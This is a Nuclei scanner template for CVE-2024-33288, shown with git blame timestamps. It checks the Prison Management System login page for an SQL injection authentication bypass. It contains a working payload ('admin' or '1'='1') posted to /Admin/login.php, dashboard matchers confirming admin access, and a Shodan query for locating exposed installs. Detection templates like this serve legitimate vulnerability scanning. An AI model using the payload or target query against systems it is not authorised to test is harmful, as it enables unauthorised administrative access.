2024-05-16 08:56:24 +00:00
|
|
|
id: CVE-2024-33288
|
2024-05-17 09:16:10 +00:00
|
|
|
|
2024-05-16 08:56:24 +00:00
|
|
|
info:
|
|
|
|
name: Prison Management System - SQL Injection Authentication Bypass
|
|
|
|
author: Kazgangap
|
|
|
|
severity: high
|
2024-05-17 09:16:10 +00:00
|
|
|
description: |
|
|
|
|
Sql injection vulnerability was found on the login page in Prison Management System
|
2024-05-16 08:56:24 +00:00
|
|
|
reference:
|
|
|
|
- https://en.0day.today/exploit/39610
|
|
|
|
- https://www.sourcecodester.com/sql/17287/prison-management-system.html
|
2024-05-17 09:20:04 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 2
|
|
|
|
shodan-query: title:"Prison Management System"
|
2024-05-17 09:16:10 +00:00
|
|
|
tags: cve,cve2024,cms,sqli
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-05-16 09:02:21 +00:00
|
|
|
POST /Admin/login.php HTTP/1.1
|
2024-05-16 08:56:24 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2024-05-17 09:16:10 +00:00
|
|
|
txtusername=admin%27+or+%271%27+%3D%271&txtpassword={{randstr}}&btnlogin=
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
- |
|
2024-05-16 09:02:21 +00:00
|
|
|
GET /Admin/index.php HTTP/1.1
|
2024-05-16 08:56:24 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<p>Change Password</p>"
|
|
|
|
- "<p>Logout</p>"
|
2024-05-17 09:20:04 +00:00
|
|
|
- "Admin Dashboard | Prison Management system"
|
|
|
|
condition: and
|
2024-05-16 08:56:24 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2024-05-17 09:16:10 +00:00
|
|
|
- 200
|
2024-05-20 17:13:52 +00:00
|
|
|
# digest: 4b0a00483046022100859ec311a5b87c8613179df918539075c5fd10a9d17a0273f0970d74ab5ea0e90221008c39c278e0ce4d1b08af7daa3356e7901998adf7c17a2919323d4a935efff082:922c64590222798bb761d5b6d8e72950
|